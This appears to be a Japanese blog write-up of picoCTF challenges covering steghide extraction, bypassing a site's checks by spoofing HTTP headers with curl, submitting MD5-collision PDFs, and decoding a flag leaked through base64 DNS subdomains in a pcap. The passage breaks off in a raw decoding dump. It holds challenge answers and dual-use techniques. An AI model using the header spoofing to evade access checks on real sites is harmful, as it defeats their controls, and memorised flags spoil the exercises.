control.tar.gz を解凍すると (gunzip control.tar.gz, tar -xf control.tar) steghideのREADMEファイルが現れた。さらにdata.tar.xzを解凍すると (7z x data.tar.xz, tar -xf data.tar) steghideのバイナリファイルが現れた。

どうやらsteghideを用いて先述したビットマップ画像ファイルにフラグを隠したようである。

steghideで画像ファイルを検証したところ、picture3.bmpflag.txtというファイルが埋め込まれていることが分かった。(パスフレーズはDUEDILIGENCE。ファイルplanで示唆されている。I USED THE PROGRAM AND HID IT WITH-DUE DILIGENCE.)

$ steghide info picture3.bmp -p DUEDILIGENCE
"picture3.bmp":
  format: Windows 3.x bitmap
  capacity: 59.6 KB
  embedded file "flag.txt":
    size: 40.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes

flag.txtを抽出。

$ steghide extract --stegofile picture3.bmp -p DUEDILIGENCE
wrote extracted data to "flag.txt".

抽出したflag.txtにフラグが記載されていた。

cat flag.txt

Who are you? (100points)

Webサイトhttp://mercury.picoctf.net:46199/ を解析してフラグを取得する問題。

URLにアクセスすると以下のメッセージが表示された。

Only people who use the official PicoBrowser are allowed on this site!

上記のメッセージに従い、ユーザーエージェントにPicoBrowserと指定してURLにアクセスしてみた。

curl -i -H "User-Agent: PicoBrowser" http://mercury.picoctf.net:46199/

すると以下のメッセージが表示された。

<h3 style="color:red">I don&#39;t trust users visiting from another site.</h3>

上記のメッセージに従い、リファラーを指定してURLにアクセスしてみた。

curl -i -H "User-Agent: PicoBrowser" -H "Referer: http://mercury.picoctf.net:46199/" http://mercury.picoctf.net:46199/

すると以下のメッセージが表示された。

<h3 style="color:red">Sorry, this site only worked in 2018.</h3>

上記のメッセージに従い、Dateヘッダーに2018と指定してURLにアクセスしてみた。

curl -i -H "User-Agent: PicoBrowser" -H "Referer: http://mercury.picoctf.net:46199/" -H "Date: 2018" http://mercury.picoctf.net:46199/

すると以下のメッセージが表示された。

<h3 style="color:red">I don&#39;t trust users who can be tracked.</h3>

上記のメッセージに従い、DNT (Do Not Track) ヘッダーに1を指定してURLにアクセスしてみた。

curl -i -H "User-Agent: PicoBrowser" -H "Referer: http://mercury.picoctf.net:46199/" -H "Date: 2018" -H "DNT: 1" http://mercury.picoctf.net:46199/

すると以下のメッセージが表示された。

<h3 style="color:red">This website is only for people from Sweden.</h3>

ここで少しハマった。スウェーデンからのユーザーのアクセスのみ受け入れるとのことなので、Accept-LanguageヘッダーやContent-Languageヘッダーにsvやsv-SEと指定してURLにアクセスしたのだが、メッセージに変化が現れなかった。

ふと、思いつきでX-Forwarded-Forヘッダーに適当なスウェーデンのIPアドレスを指定してアクセスしてみた。

curl -i -H "User-Agent: PicoBrowser" -H "Referer: http://mercury.picoctf.net:46199/" -H "Date: 2018" -H "DNT: 1" -H "X-Forwarded-For: 103.57.72.12" http://mercury.picoctf.net:46199/

すると以下のメッセージが表示された。

<h3 style="color:red">You&#39;re in Sweden but you don&#39;t speak Swedish?</h3>

上記のメッセージに従い、Accept-Languageヘッダーにsvと指定してURLにアクセスしたところ、フラグを取れた。

curl -i -H "User-Agent: PicoBrowser" -H "Referer: http://mercury.picoctf.net:46199/" -H "Date: 2018" -H "DNT: 1" -H "X-Forwarded-For: 103.57.72.12" -H "Accept-Language: sv" http://mercury.picoctf.net:46199/

It is my Birthday (100points)

Web サイト http://mercury.picoctf.net:55343/ を解析してフラグを取得する問題。

サイトへアクセスすると、PDFファイルを2個アップロードするように促される。

試しに2種類のPDFファイルをアップロードすると以下のメッセージが表示された。

MD5 hashes do not match!

続いて、全く同じファイルを2個アップロードしてみた。すると以下のメッセージが表示された。

Files are not different!

適当に「md5 collision pdf」でググってみると以下のGithubにたどり着いた。

https://github.com/corkami/collisions/tree/master/examples/free

上記のリンクから以下の2種類のPDFをダウンロードして、サイトにアップロードしてみた。

  • https://github.com/corkami/collisions/blob/master/examples/free/md5-1.pdf
  • https://github.com/corkami/collisions/blob/master/examples/free/md5-2.pdf

すると、http://mercury.picoctf.net:55343/index.phpのソースコードが表示され、コメントにフラグが記載されていた。

Wireshark twoo twooo two twoo… (100points)

shark2.pcapngというPCAPファイルを解析してフラグを取得する問題。

PCAPをWiresharkで開き、Statistics -> Protocol Hierarchyでキャプチャされているプロトコルの内訳を確認してみた。

真っ先に目についたのがHTTPだったので、HTTPの通信から解析してみた。

以下のtsharkコマンドでURLの一覧を抽出。

tshark -r $PCAP -Y "http.request" -T fields -e http.request.full_uri | sort -u
$ tshark -r $PCAP -Y "http.request" -T fields -e http.request.full_uri | sort -u
http://169.254.169.254/latest/api/token
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://18.217.1.57/
http://18.217.1.57/flag
http://wef.windomain.local:5985/wsman/SubscriptionManager/WEC
http://wef.windomain.local:5985/wsman/subscriptions/EB489718-F373-4F7F-8493-B0D1503B3C3E/2
http://wef.windomain.local:5985/wsman/subscriptions/EB489718-F373-4F7F-8493-B0D1503B3C3E/29
http://wef.windomain.local:5985/wsman/subscriptions/EB489718-F373-4F7F-8493-B0D1503B3C3E/36
http://wef.windomain.local:5985/wsman/subscriptions/EB489718-F373-4F7F-8493-B0D1503B3C3E/37
http://wef.windomain.local:5985/wsman/subscriptions/EB489718-F373-4F7F-8493-B0D1503B3C3E/43

http://18.217.1.57/flag という如何にも怪しいURLを発見。合計で90個のHTTP GETリクエストが18.217.1.57へ送信されていた。

以下のtsharkコマンドで18.217.1.57からのレスポンス・データを抽出。

tshark -r $PCAP -Y "http.response && ip.addr == 18.217.1.57" -T fields -e http.file_data
$ tshark -r $PCAP -Y "http.response && ip.addr == 18.217.1.57" -T fields -e http.file_data
The official Red's Shrimp and Herring website is still under construction. Please check back later!
picoCTF{bfe48e8500c454d647c55a4471985e776a07b26cba64526713f43758599aa98b}
picoCTF{bda69bdf8f570a9aaab0e4108a0fa5f64cb26ba7d2269bb63f68af5d98b98245}
picoCTF{fe83bcb6cfd43d3b79392f6a4232685f6ed4e7a789c2ce559cf3c1ab6adbe34b}
picoCTF{711d3893d90f100c15e10ef4842abeed3a830f8237c1257cd47389646da97810}
picoCTF{3cf1e22d489fcfb6bb312a34f46c8699989ed043406134331452d11ce73cd59e}
picoCTF{b4cc138bb0f7f9da7e35085e349555aa6d00bdca3b021c1fe8663c0a422ce0d7}
picoCTF{41b8a1a796bd8d202016f75bc5b38889e9ea06007e6b22fc856d380fb7573133}
picoCTF{9812bc4be04e6f9c803152313db3da53b3dfb799bdb05aac46fa0dd0045d2fc2}
picoCTF{64cf3ede3736a340fdf2954be5151ce53bec291c5e48cbccb44faa529946e249}
picoCTF{c50d259a4e172fcb2eddbabeebd272473e4882b76c9efcd12c03ac04429d884a}
picoCTF{0a024b7d39603756feafa2bbaa1603b14a99eae5dcd59f1d957f511d822c8c06}
picoCTF{97211eec9228bb247d762527bace8b3e4ec2110c8834af12aefd3c552cdc21b2}
picoCTF{29679910c47d8afc737a1c21d7bf758cd3d81001bdbeec8c6f81a6ad88fdc279}
picoCTF{996979e9540be0fe9320e80eb6336047f8140a80830700907b99741310acf08f}
picoCTF{8b272a18c1005c95a420d4a0df426cb8441d29eb96210493a96fa25ac5e657aa}
picoCTF{e1d0a752dc71121200f4bcb1b8cc2e03e84488df229b82196afbe0045ef025c4}
picoCTF{0ba511844a2ab38fe0709bcdb2b8bdfeb37a0b466dc902e92062db4c2b3f455c}
picoCTF{dadda48e855421e14597ffc727943b57efd8c9a15d10bfd491f0390659162fb1}
picoCTF{f4dd87795395c74f3083f8caa4ec22d1531281554a6003d1c47c5f0370984ab6}
picoCTF{0f30a584680db9e70c7e1c6ca954c2f023b77f3fd2b05bd9aeee6e00dc4da5d7}
picoCTF{715e4d0d167e862af8825f62d3f4ff8aef20443445a06b1c68572390a2825d29}
picoCTF{7654ee03f31576e8ed44799fc4fa5ee053d35050000502e878d1fb8022618923}
picoCTF{068606b5faca0491d97a2b46fdca7f6f81acbd909ce691077fe77e03a3c0939a}
picoCTF{64ab681ffed33c49b5e8ae0576e22857e9a10ae30cdbee415fb514b84aa58aea}
picoCTF{8ae3995e726f8f2c3724e2e0522f038aba6649facd378d8965c648233d79a252}
picoCTF{1c125d267b5811cd25cca2d517e022270aa60f3c8461f4097c685bcca637a6a9}
picoCTF{824c298d14e1fe369df991af72ab0725d2e7c7d05b9655486873ccc467f4bd6b}
picoCTF{e1d8dd1b73d5fd7704a16c924ddee69dc6bf9beef14cc3a10142704b81f0fa07}
picoCTF{82d260fe0670d551347b164c54183d996c52ebeebb1ccfcc2c2ebb91268dc944}
picoCTF{74876fc61ebc9c902f8983979cd4c21206c69a23f0dcc0817e150dd75e446838}
picoCTF{49c52d1f30973f90716bbcbe3633e11cf70b9a31ed785871ccb80473302a59db}
picoCTF{89d93dbb96a3857ac87ba0cea3c10a9e4c7b34d79b2edb463cef030d34297bd0}
picoCTF{5ceacdce54c13a3fddfcfb225a00247304fbb15f29f9c90434383f277567992d}
picoCTF{c22a40a43ed7034bd935805f59603a46d3a1f2d6b8e31281eb0721597b6c6d62}
picoCTF{6071bca5da06d4f975a52357cda0cd6f0614787c1c70b1b7e1af2c7fb272d281}
picoCTF{65a8b141f019506feea38a119988ad645bcab1a5fa8693efdf26e1fd3cb44b4c}
picoCTF{d7f5cb78a895d3805601522b95d599cb6d2689c6a856e3fbee6aac2fca0c20f3}
picoCTF{739bb0f0aa17331819a0e942d37bfee757c8d9cd089cdfe32509027b92485213}
picoCTF{7a891e2c4ad0da374bc15ad7ad0ee081077dd376f06152781f780c201691713d}
picoCTF{a97d3ee943221888bd1157429e4a00ed5e9905a610e64664f7e36c7f5e0a4ef9}
picoCTF{c38d2d74dc21bbb2e3a95b52e2354ee523379cfe4f8b348c9c5b5d7bd7cb871b}
picoCTF{e4dc886c39a53ff118bf29041067cde48dcebb89b3dae61a8aba6187d671999a}
picoCTF{9fbd0d18aa1abfd289ba977ae4354b821cc74591260889afba1b0b6e7763aa31}
picoCTF{3fc0801bcd36336a2c030c6e5f452f5795be1d562e00411365fb64c6a2f688ef}
picoCTF{4aa86643eb2ddb5709725344cd0e63e6c52e35c2e64a39f3a4a0ee7bbd5d3ade}
picoCTF{4af8df415d17e6df99a5efddebcb33a68c0c8bf26d481eed16b5f77675030d7f}
picoCTF{e4f52a0d2a924906ac102a32c52ab9128bf9cd6e5294518ad3ed6748f853b0ab}
picoCTF{cc104e74a9f50164ee5652d168ef38a21b7a2d5e3196062e669e3a2705f1a0d3}
picoCTF{2aac620b0bdd2e6946d62c5d232ca32ba1f5a9d8ec82c060778b54ffeb8fbd1f}
picoCTF{4e55be07159def207afc142954f5673a0651d5f32f5f4090fb774d960628e352}
picoCTF{983e5e2703a132a49479e438bfba15ee5d02345b03d410b8163b685973937da7}
picoCTF{d342a46e8179de9941720c5e0eeac0d0fae9d3014d2ddcf531a7865a997b00e5}
picoCTF{2133904cfe757bc6c68c3e5f3749b37d67d7fa6ffb2768410be593d3fe8c4bd4}
picoCTF{29b726b9a57d176e1487d159474ee7e6508b66c05c526a00c942a8cebb6bb496}
picoCTF{7302b0dca07cd890c75e38d78d7e74d7bbf2b932f555aaf5b6754f56e778e3fc}
picoCTF{22e018bb8282e9d7852ed4e65f70a26524dabef78cf41e1db45c070c94621c57}
picoCTF{40f366ccf0f6462f5b8b1dc4d7384a62aa95565afcaad96a937b8c1f1134099b}
picoCTF{db38cbc215cde0d9cd52cbca2390defdb54303e998019a5c4ddaf9861b54efcb}
picoCTF{090fa8ec995ab9fc9f97cbe9ea36cb81c4504a3ca02466ddd207cfe7f785cb5c}
picoCTF{947b91a983c93217304f8e5b112e93eaf619e6a9386ab93be93a9b67e53b2fda}
picoCTF{a3ed2f602322f749f4cb016515e25b67749efd08ac2f2c53023596cbf0dcbd0f}
picoCTF{8e625859eb325d2a69934e4a44c93fcc132e813efb3fdaaa5143147678e9cbf9}
picoCTF{8d43c4889ee5b507d1785adfa2592f2fb3d7cf20ebf37ce46595edc46fba3f6d}
picoCTF{0020d021e9e38dbb5a5fa432175089d8b76e4a900618c95f8cae14fedaa45b63}
picoCTF{69e96b10f560a6a0656a6d950e73e41bcf4226c424bb5622839dda0c66755b14}
picoCTF{34c6ca47d858ab18aa2008f4ac31c31570c46186939e6b46458b19082122d4bd}
picoCTF{ebfcebe696b1fdbba2abb3b003165152456bd83b6ddfbf180ca366de0dec1b0c}
picoCTF{aa125aaeb4723f69dceaa90125a8099a6f3fe0259e068fd82dcbeb76131448bb}
picoCTF{80d65857d8d81a92769e8cd136376522d113c4298b331318ce7adcbf5e70104d}
picoCTF{00ae773ce4a4b3cf3287f072c13ec7139a74207de635de9d115087bc4f312bae}
picoCTF{7e808778b7250893922a17d53f10365b009a7624935850ac5c8140461e49d579}
picoCTF{33e80d6e9f56c1f7705c73566d347ccb32b4662171f224b6dfcb6c8fce4f1601}
picoCTF{5d921ffbe2709ba82d09603a095530aedae41ab96fd052140cbc64319b7ab0ac}
picoCTF{977b385d5dd6abde9cb89ee940b5cfb7179d73d989c6993346d278bff003c154}
picoCTF{ca7d3b029817de8f318d8fa521ad1b569f4e8a37358373193522cc7f5628ed49}
picoCTF{a820680ab6444b1daf5281192f337aefb4aa95a313c9f270804ef7826ecc298c}
picoCTF{998d01dadf1b44eb4ec7b7e8fa11f11bcd2d7d86f3f9e4966dde22d4a84ca113}
picoCTF{cb8fe3ec65f890e2f0570c98c4edd3fe4115bc059ac2afb39300c7b66f2302c4}
picoCTF{bc2af8cbe0ae0befdd28b14412295243354cd3c7cc74e88d8facb2fd5e6ef34d}
picoCTF{09082a0313e16fc36f8076ff86e54e83048a8568f5c2294fea5fb3bcd212e7f2}
picoCTF{2386746aeb258914349dc81a85cb5de72e47930c7f11759b4ad9f864efa7b5aa}
picoCTF{173306d7b886423d9f79d3d0d05209807ae7b83c445931319830e4e0ad2d2f09}
picoCTF{6cb98e2295bbe1f15fd8b8b5908de360d386b98a0ce7e0407e001b453b05be22}
picoCTF{132e643c8fdadb54c366072cb33940411fcfd355209fc1ce9b2022ad1cd1b060}
picoCTF{044ffca72f0f191b0715ff1a9bff182c810cb2786370cbf8cdc1943c2e7aedf6}
picoCTF{b278104c2602442e3db401749c30527d80ba560f9a02c939cb4ff6ea189a140d}
picoCTF{7282e048d6d32383b65f3a03b1101219ac73f7f538446b78d1b2b334e0985447}
picoCTF{98406c4acbf0f57b3ccbc923aab5a603d70f86d507f422d9bd8656398f53433e}
picoCTF{3fe0b2788f30d9cb9f77d3b2752f13c554fe7f0e7a2883e57c8a44b34f35675c}

残念ながら上記はフラグではなかった。

解析を続けるうちに大量のDNSの名前解決要求のパケットが存在していることに気がついた。

サブドメインがBase64エンコードっぽく見えたので、以下のtsharkコマンドでサブドメインを抽出してみた。

tshark -r $PCAP -Y "dns.qry.type == 1" -T fields -e dns.qry.name | sed 's/\..*//g' | uniq
$ tshark -r $PCAP -Y "dns.qry.type == 1" -T fields -e dns.qry.name | sed 's/\..*//g' | uniq
lDqoR16q
1Th0dQuT
ysnuBebx
OKm0XI7q
j/RVIHi2
d+KVXhMV
ky0+eTqU
poybMrsl
jK2eAyOi
48b4iU01
FvJnCBT8
km29WP3g
/3Dz6rCU
di8sCDPv
b38U91ep
2DA0w7Jt
FZYl6dCA
BoORWyDu
MVsbj1/d
UWrgyXWr
9NzCwWxd
m/TqO+IW
o2ZJtOyF
cGljb0NU
um0kpvjf
Sox37h19
Z5hJZHyn
nlF4PBzk
h+CXa09t
tbK/uIWB
2a3XH03l
J0AWOs3w
FIAowc1g
drwIRfot
ZjLL+DYc
kXD4OIb9
h81LA4Xw
nT95IG26
BySoFVNP
kqOgISqa
YuvBSCsM
bq7AocPI
JSAAt3gF
x5HUgibz
OsGF7kWB
K99ppjF/
jTyNCNhU
cWVizacs
K4DhGAWE
uAY+tVE7
60aidRgy
nBt3Mokk
30d1RFWu
+9eXNk0X
TI2DYRO/
9MjYzoLj
Z+BtbAta
YkmRh2nr
OTPSYXkE
uXvd48AT
/PNsKWtj
tFSfHl/9
5HyMGCS6
1FjuRiR8
jVZNhQOT
ZtxW+iuv
UWyNwFJZ
RntkbnNf
MBJKiAFX
ZLRLdSKq
++FVriJb
S8mxGlhF
7cNUr26D
mC90A9B0
a3P9pD4z
mq6ivImu
ZSdLCe14
fIGPcLax
32eplH1b
K7ZFuDrG
du8XDVin
Kj9GKCI/
bxl/NUmd
5lZkiKa3
tPwzBtD8
dt0idpyB
GY3VancC
pFnvUGtZ
ttY3YINW
gie24mjc
NEQMIULq
2fHPxt2H
+hFPfydr
CormfRcj
OdUL5++a
44ujVBuF
bM+BQ8dN
8XyIkzP+
ruXuMxNJ
MjIGXIqy
05lusaWy
IXbbtV+m
6tNHEBtX
LzIOPkPb
gxp8M51b
+nB4/jzJ
uXhVF4ys
GJlKZrN+
282DOxFJ
zpt1YuKN
NRsUAHXx
oDIrXLVR
M3hmMWxf
Mk5HboDA
JX5nT3mx
Q9yUm/uO
GBsIaOVw
udbwL8HA
UtR5YJk0
hTid4evh
ky4GGyGX
XJbKd2Gc
yHINlfmQ
TerVtBw4
rgiQTZeg
mqqZKNFc
hurTYxbn
M2yc0p/K
k9hfHtFr
3gEtiL6U
J+3dTlY7
WBYd1saM
UykMEuPb
usspm1e3
n6LAUOHr
a7fKrq7b
NLWqvffb
jA7cwYZS
YQoNqdqR
bEJJWqvq
rIrbCl8t
2VPCMWzB
vH/vJiy2
e8bxxZ92
Sk7RnT+D
CeBXXXFy
2Gu7zRXL
ZnR3X2Rl
vQ6gMW/g
q18YMnNi
N9teS0Ov
FbzJBzzB
SmDzvZ71
PFD94NTp
/ye5yTrK
EwV0JaDu
N5SEeqoS
aKMnpRkB
ttR69hjV
fvMGQY0s
tTTnvTin
SO4JxvAC
rAlDx9m7
fMHx7/PX
yF3zkFuG
UFq4pqcs
qmHFH7Ox
aHARNwGW
a817nStX
g9olPnyg
PeOZIsZ8
pDt02i0L
JnZqfeEB
LC5AR00m
5ga9YWjo
YWRiZWVm
T1Fqpwju
qpvqibHM
jm+OqSx7
V0XjJNSR
hRnW+JSQ
5gvgR+3U
vdGM6BgJ
8SHMsy3c
LKMt6CLM
EYysecBH
tpesAYtj
Q1L7fBbd
ODQ0m9DK
iX+Zn2Gq
JUKUkUYn
eWUnpoWH
Zf688UTz
uFH0VpwO
bJS/rrk1
YQuKySPc
Vo/M+HTl
7BBZdhts
iN4OTru2
GoUf559H
zEBnIu8y
5ShcZekS
M6XVMW0N
DqAPj5pX
6iKi0zDD
x5KkdeHb
9z6F1Kjc
NoqVsSW2
NLjPcplu
v/Wnu7vs
QZ7XVpoz
fQ==
vT6zzM2J
yXzo0cCL
a+xLgs3W
Yju2a1Nt
wLVUgWou
lvqrjuAa
j5t1Lfdo
s1VHzRn6
jM9GaAzF
ecb6fGRc
N+6v2HTZ
+sorXMfa
5FALrYGV
eu71Cs0V
dxr+G/kl
0gHMI0EI
4n+wg52s
9bgMWa5Z
bh2L8TFp
6YyOean+
Ften8lLo
2CscKL+3
L/5yYuuf
H5RvSugA
YdfbP1UZ
I4U/5r2f
1X/s/2vy
O+PFxqfF
Ju4eCL8V
JBfOkBIE
0bLbK94Z
tEWQ8ZAi
JBQmApX7
GQ3caS/1
Yz2l3aBW
xA3F0VZ8
l7hTDJh3
BN9PyNZN
M9QZU6eP
fQ==

改行を削除すると、以下の2つのBase64と思しきデータが現れた。

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

それぞれのデータをBase64デコードしてfileコマンドを走らせてみたところ、1つ目のデコード・ファイルはOpenPGP Secret Keyと認識された。この時、Macのfileコマンドを使用したのだが、後でUbuntuのfileコマンドを使用したら単にdataとだけ認識されたので、OpenPGP Secret Keyというのは恐らく誤検知である。

base64 -D -i b64-01.txt -o decoded01.bin
base64 -D -i b64-02.txt -o decoded02.bin
$ file *.bin
decoded01.bin:        OpenPGP Secret Key
decoded02.bin:        data

1つ目のデコード・ファイルにstringsコマンドを走らせたところ、フラグの断片と思しきデータが見つかった。

$ strings decoded01.bin | grep -i pico
picoCT

しかし、デコード・ファイルに余計なデータが含まれており、完全なフラグを見つけることが出来なかった。

$ xxd decoded01.bin | head -n 50
00000000: 943a a847 5eaa d538 7475 0b93 cac9 ee05  .:.G^..8tu......
00000010: e6f1 38a9 b45c 8eea 8ff4 5520 78b6 77e2  ..8..\....U x.w.
00000020: 955e 1315 932d 3e79 3a94 a68c 9b32 bb25  .^...->y:....2.%
00000030: 8cad 9e03 23a2 e3c6 f889 4d35 16f2 6708  ....#.....M5..g.
00000040: 14fc 926d bd58 fde0 ff70 f3ea b094 762f  ...m.X...p....v/
00000050: 2c08 33ef 6f7f 14f7 57a9 d830 34c3 b26d  ,.3.o...W..04..m
00000060: 1596 25e9 d080 0683 915b 20ee 315b 1b8f  ..%......[ .1[..
00000070: 5fdd 516a e0c9 75ab f4dc c2c1 6c5d 9bf4  _.Qj..u.....l]..
00000080: ea3b e216 a366 49b4 ec85 7069 636f 4354  .;...fI...picoCT
00000090: ba6d 24a6 f8df 4a8c 77ee 1d7d 6798 4964  .m$...J.w..}g.Id
000000a0: 7ca7 9e51 783c 1ce4 87e0 976b 4f6d b5b2  |..Qx<.....kOm..
000000b0: bfb8 8581 d9ad d71f 4de5 2740 163a cdf0  ........M.'@.:..
000000c0: 1480 28c1 cd60 76bc 0845 fa2d 6632 cbf8  ..(..`v..E.-f2..
000000d0: 361c 9170 f838 86fd 87cd 4b03 85f0 9d3f  6..p.8....K....?
000000e0: 7920 6dba 0724 a815 534f 92a3 a021 2a9a  y m..$..SO...!*.
000000f0: 62eb c148 2b0c 6eae c0a1 c3c8 2520 00b7  b..H+.n.....% ..
00000100: 7805 c791 d482 26f3 3ac1 85ee 4581 2bdf  x.....&.:...E.+.
00000110: 69a6 317f 8d3c 8d08 d854 7165 62cd a72c  i.1..<...Tqeb..,
00000120: 2b80 e118 0584 b806 3eb5 513b eb46 a275  +.......>.Q;.F.u
00000130: 1832 9c1b 7732 8924 df47 7544 55ae fbd7  .2..w2.$.GuDU...
00000140: 9736 4d17 4c8d 8361 13bf f4c8 d8ce 82e3  .6M.L..a........
00000150: 67e0 6d6c 0b5a 6249 9187 69eb 3933 d261  g.ml.ZbI..i.93.a
00000160: 7904 b97b dde3 c013 fcf3 6c29 6b63 b454  y..{......l)kc.T
00000170: 9f1e 5ffd e47c 8c18 24ba d458 ee46 247c  .._..|..$..X.F$|
00000180: 8d56 4d85 0393 66dc 56fa 2baf 516c 8dc0  .VM...f.V.+.Ql..
00000190: 5259 467b 646e 735f 3012 4a88 0157 64b4  RYF{dns_0.J..Wd.
000001a0: 4b75 22aa fbe1 55ae 225b 4bc9 b11a 5845  Ku"...U."[K...XE
000001b0: edc3 54af 6e83 982f 7403 d074 6b73 fda4  ..T.n../t..tks..
000001c0: 3e33 9aae a2bc 89ae 6527 4b09 ed78 7c81  >3......e'K..x|.
000001d0: 8f70 b6b1 df67 a994 7d5b 2bb6 45b8 3ac6  .p...g..}[+.E.:.
000001e0: 76ef 170d 58a7 2a3f 4628 223f 6f19 7f35  v...X.*?F("?o..5
000001f0: 499d e656 6488 a6b7 b4fc 3306 d0fc 76dd  I..Vd.....3...v.
00000200: 2276 9c81 198d d56a 7702 a459 ef50 6b59  "v.....jw..Y.PkY
00000210: b6d6 3760 8356 8227 b6e2 68dc 3444 0c21  ..7`.V.'..h.4D.!
00000220: 42ea d9f1 cfc6 dd87 fa11 4f7f 276b 0a8a  B.........O.'k..
00000230: e67d 1723 39d5 0be7 ef9a e38b a354 1b85  .}.#9........T..
00000240: 6ccf 8143 c74d f17c 8893 33fe aee5 ee33  l..C.M.|..3....3
00000250: 1349 3232 065c 8ab2 d399 6eb1 a5b2 2176  .I22.\....n...!v
00000260: dbb5 5fa6 ead3 4710 1b57 2f32 0e3e 43db  .._...G..W/2.>C.
00000270: 831a 7c33 9d5b fa70 78fe 3cc9 b978 5517  ..|3.[.px.<..xU.
00000280: 8cac 1899 4a66 b37e dbcd 833b 1149 ce9b  ....Jf.~...;.I..
00000290: 7562 e28d 351b 1400 75f1 a032 2b5c b551  ub..5...u..2+\.Q
000002a0: 3378 6631 6c5f 324e 476e 80c0 257e 674f  3xf1l_2NGn..%~gO
000002b0: 79b1 43dc 949b fb8e 181b 0868 e570 b9d6  y.C........h.p..
000002c0: f02f c1c0 52d4 7960 9934 8538 9de1 ebe1  ./..R.y`.4.8....
000002d0: 932e 061b 2197 5c96 ca77 619c c872 0d95  ....!.\..wa..r..
000002e0: f990 4dea d5b4 1c38 ae08 904d 97a0 9aaa  ..M....8...M....
000002f0: 9928 d15c 86ea d363 16e7 336c 9cd2 9fca  .(.\...c..3l....
00000300: 93d8 5f1e d16b de01 2d88 be94 27ed dd4e  .._..k..-...'..N
00000310: 563b 5816 1dd6 c68c 5329 0c12 e3db bacb  V;X.....S)......

この辺りで行き詰まったので、一個目のヒントを確認してみた。

以下は一個目のヒント。

Did you really find _the_ flag?

上記のヒントから、フラグの区切り文字にアンダースコア (_)が使われているのでは?と思い至った。

再びサブドメインをBase64デコードしてみることにした。ただし、今回は改行を削除しないでデコードしてみた。

b64=$(tshark -r $PCAP -Y "dns.qry.type == 1" -T fields -e dns.qry.name | sed 's/\..*//g' | uniq)
for i in $b64; do echo $i | base64 -D; echo; done

以下はBase64デコードされたデータである。アンダースコアに注目してみたところ、フラグ文字列を発見することが出来た。(赤文字で表示されているのがフラグである)

?:?G^?
?8tu
    ?
?????
8??\??
??U x?
w?^
?->y:?
???2?%
???#?
????M5
??
?m?X??
?p?갔
v/3?
o?W?
?04òm
?%?Ѐ
??[ ?
1[_?
Qj??u?
????l]
???;?
?fI??
picoCT
?m$???
J?w?}
g?Id|?
?Qx<?
???kOm
??????
٭?M?
'@:??
?(??`
vE?-
f2??6
?p?8??
??K??
??y m?
$?SO
???!*?
b??H+

n?????
% ?x
ǑԂ&?
:???E?
+?i?1
?<?T
qebͧ,
+???
?>?Q;
?F?u2
?2?$
?GuDU?
?ח6M
L??a?
???΂?
g?ml
    Z
bI??i?
93?ay
?{???
??l)kc
?T?_?
?|?$?
